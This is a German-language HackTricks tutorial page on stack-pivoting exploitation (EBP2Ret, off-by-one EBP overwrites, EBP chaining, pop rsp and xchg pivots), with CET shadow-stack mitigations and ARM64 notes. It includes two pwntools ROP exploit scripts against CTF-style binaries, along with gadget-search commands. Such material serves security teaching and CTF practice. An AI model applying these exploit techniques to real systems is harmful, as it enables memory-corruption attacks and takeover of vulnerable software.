Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 12 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Diese Technik nutzt die Fähigkeit, den Basiszeiger (EBP/RBP) zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des Rahmenzeigers und der leave; ret
Instruktionssequenz zu verketten.
Zur Erinnerung: Auf x86/x86-64 ist leave
gleichbedeutend mit:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Und da das gespeicherte EBP/RBP im Stack vor dem gespeicherten EIP/RIP liegt, ist es möglich, es zu kontrollieren, indem man den Stack kontrolliert.
Hinweise
- Bei 64-Bit ersetzen Sie EBP→RBP und ESP→RSP. Die Semantik bleibt gleich.
- Einige Compiler lassen den Frame-Pointer weg (siehe „EBP könnte nicht verwendet werden“). In diesem Fall könnte
leave
nicht erscheinen und diese Technik funktioniert nicht.
EBP2Ret
Diese Technik ist besonders nützlich, wenn Sie das gespeicherte EBP/RBP ändern, aber keinen direkten Weg haben, EIP/RIP zu ändern. Sie nutzt das Verhalten des Funktionsepilogs.
Wenn Sie während der Ausführung von fvuln
es schaffen, ein falsches EBP im Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86, um für das pop
zu rechnen), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt leave
RSP auf die gestaltete Adresse und das nachfolgende pop rbp
verringert RSP, was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde. Dann wird ret
diese Adresse verwenden.
Beachten Sie, dass Sie 2 Adressen wissen müssen: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist, den ret
konsumieren wird.
Exploit-Konstruktion
Zuerst müssen Sie eine Adresse kennen, an die Sie beliebige Daten/Adressen schreiben können. RSP wird hierhin zeigen und den ersten ret
konsumieren.
Dann müssen Sie die Adresse wählen, die von ret
verwendet wird, um die Ausführung zu übertragen. Sie könnten verwenden:
- Eine gültige ONE_GADGET Adresse.
- Die Adresse von
system()
, gefolgt von der entsprechenden Rückkehr und Argumenten (auf x86:ret
Ziel =&system
, dann 4 Junk-Bytes, dann&"/bin/sh"
). - Die Adresse eines
jmp esp;
Gadgets (ret2esp), gefolgt von Inline-Shellcode. - Eine ROP Kette, die im beschreibbaren Speicher gestaged ist.
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Bereich Platz für das pop ebp/rbp
von leave
sein muss (8B auf amd64, 4B auf x86). Sie können diese Bytes missbrauchen, um ein zweites falsches EBP zu setzen und die Kontrolle nach dem ersten Rückruf zu behalten.
Off-By-One Exploit
Es gibt eine Variante, die verwendet wird, wenn Sie nur das am wenigsten signifikante Byte des gespeicherten EBP/RBP ändern können. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit ret
gesprungen werden soll, die ersten drei/fünf Bytes mit dem ursprünglichen EBP/RBP teilen, damit ein 1-Byte-Überschreiben es umleiten kann. Üblicherweise wird das niedrige Byte (Offset 0x00) erhöht, um so weit wie möglich innerhalb einer nahegelegenen Seite/ausgerichteten Region zu springen.
Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP innerhalb des Sleds zeigt und die endgültige ROP-Kette ausgeführt wird.
EBP-Verkettung
Indem Sie eine kontrollierte Adresse im gespeicherten EBP
-Slot des Stacks platzieren und ein leave; ret
Gadget in EIP/RIP
, ist es möglich, ESP/RSP
zu einer vom Angreifer kontrollierten Adresse zu bewegen.
Jetzt ist RSP
kontrolliert und die nächste Anweisung ist ret
. Platzieren Sie im kontrollierten Speicher etwas wie:
&(nächstes falsches EBP)
-> Geladen durchpop ebp/rbp
vonleave
.&system()
-> Aufgerufen durchret
.&(leave;ret)
-> Nachdemsystem
endet, bewegt RSP zum nächsten falschen EBP und fährt fort.&("/bin/sh")
-> Argument fürsystem
.
Auf diese Weise ist es möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.
Das ist wie ein ret2lib, aber komplexer und nur in Grenzfällen nützlich.
Darüber hinaus haben Sie hier ein Beispiel für eine Herausforderung, das diese Technik mit einem Stack-Leak verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 Alignment-Tipp: System V ABI erfordert eine 16-Byte-Stack-Ausrichtung an Aufrufstellen. Wenn Ihre Kette Funktionen wie
system
aufruft, fügen Sie ein Ausrichtungs-Gadget hinzu (z. B.ret
odersub rsp, 8 ; ret
), bevor Sie den Aufruf tätigen, um die Ausrichtung aufrechtzuerhalten undmovaps
-Abstürze zu vermeiden.
EBP könnte nicht verwendet werden
Wie in diesem Beitrag erklärt, wenn eine Binärdatei mit einigen Optimierungen oder mit Frame-Pointer-Auslassung kompiliert wird, kontrolliert EBP/RBP niemals ESP/RSP. Daher wird jeder Exploit, der durch die Kontrolle von EBP/RBP funktioniert, fehlschlagen, da das Prolog/Epilog nicht vom Frame-Pointer wiederherstellt.
- Nicht optimiert / Frame-Pointer verwendet:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimiert / Frame-Zeiger weggelassen:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Auf amd64 sieht man oft pop rbp ; ret
anstelle von leave ; ret
, aber wenn der Frame-Zeiger ganz weggelassen wird, gibt es kein rbp
-basiertes Epilog, durch das man pivotieren kann.
Andere Möglichkeiten, RSP zu steuern
pop rsp
Gadget
Auf dieser Seite finden Sie ein Beispiel, das diese Technik verwendet. Für diese Herausforderung war es notwendig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein pop rsp
Gadget und es gibt einen Leak vom Stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp Gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Überprüfen Sie die ret2esp-Technik hier:
Pivot-Gadgets schnell finden
Verwenden Sie Ihren bevorzugten Gadget-Finder, um nach klassischen Pivot-Primitiven zu suchen:
leave ; ret
in Funktionen oder in Bibliothekenpop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oderadd esp, <imm> ; ret
auf x86)
Beispiele:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klassisches Pivot-Staging-Muster
Eine robuste Pivot-Strategie, die in vielen CTFs/Exploits verwendet wird:
- Verwenden Sie einen kleinen anfänglichen Overflow, um
read
/recv
in einen großen beschreibbaren Bereich (z. B..bss
, Heap oder gemappeter RW-Speicher) zu rufen und dort eine vollständige ROP-Kette zu platzieren. - Kehren Sie in ein Pivot-Gadget zurück (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
), um RSP in diesen Bereich zu verschieben. - Fahren Sie mit der gestaffelten Kette fort (z. B. libc leaken,
mprotect
aufrufen, dann Shellcode lesen und dann zu ihm springen).
Moderne Abschwächungen, die Stack-Pivoting brechen (CET/Shadow Stack)
Moderne x86-CPUs und Betriebssysteme setzen zunehmend CET Shadow Stack (SHSTK) ein. Mit aktiviertem SHSTK vergleicht ret
die Rücksprungadresse auf dem normalen Stack mit einem hardwaregeschützten Shadow-Stack; jede Abweichung löst einen Control-Protection-Fehler aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-basierte Pivots abstürzen, sobald das erste ret
von einem pivotierten Stack ausgeführt wird.
- Für Hintergrundinformationen und tiefere Details siehe:
- Schnelle Überprüfungen unter Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Hinweise für Labs/CTF:
-
Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binaries, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter
nousershstk
deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Mitigationen auf Produktionszielen. -
JOP/COOP oder SROP-basierte Techniken könnten auf einigen Zielen weiterhin möglich sein, aber SHSTK bricht speziell
ret
-basierte Pivots. -
Windows-Hinweis: Windows 10+ exponiert den Benutzermodus und Windows 11 fügt den Kernelmodus „Hardware-enforced Stack Protection“ hinzu, der auf Shadow Stacks basiert. CET-kompatible Prozesse verhindern Stack-Pivoting/ROP bei
ret
; Entwickler optieren über CETCOMPAT und verwandte Richtlinien ein (siehe Referenz).
ARM64
In ARM64 speichern die Prologe und Epiloge der Funktionen nicht das SP-Register im Stack und rufen es nicht ab. Darüber hinaus gibt die RET
-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern die Adresse in x30
.
Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, das SP-Register nicht kontrollieren, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das x30
-Register zu kontrollieren.
- Prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP zeigt auf den Frame-Record
- Epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, das SP
zu kontrollieren (indem man ein Register kontrolliert, dessen Wert an SP
übergeben wird, oder weil aus irgendeinem Grund SP
seine Adresse aus dem Stack bezieht und wir einen Überlauf haben) und dann den Epilog zu missbrauchen, um das x30
-Register von einem kontrollierten SP
zu laden und RET
darauf auszuführen.
Auch auf der folgenden Seite sehen Sie das Äquivalent von Ret2esp in ARM64:
Referenzen
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 Bits, Off-by-One-Ausnutzung mit einer ROP-Kette, die mit einem Ret-Sled beginnt
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 Bit, kein RELRO, Canary, NX und PIE. Das Programm gewährt einen Leak für Stack oder PIE und ein WWW eines Qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den PIE-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, indem man
.fini_array
-Einträge missbraucht +__libc_csu_fini
aufruft (mehr Informationen hier). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird. - Linux-Kernel-Dokumentation: Control-flow Enforcement Technology (CET) Shadow Stack — Details zu SHSTK,
nousershstk
,/proc/$PID/status
-Flags und Aktivierung überarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET Shadow Stacks auf Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.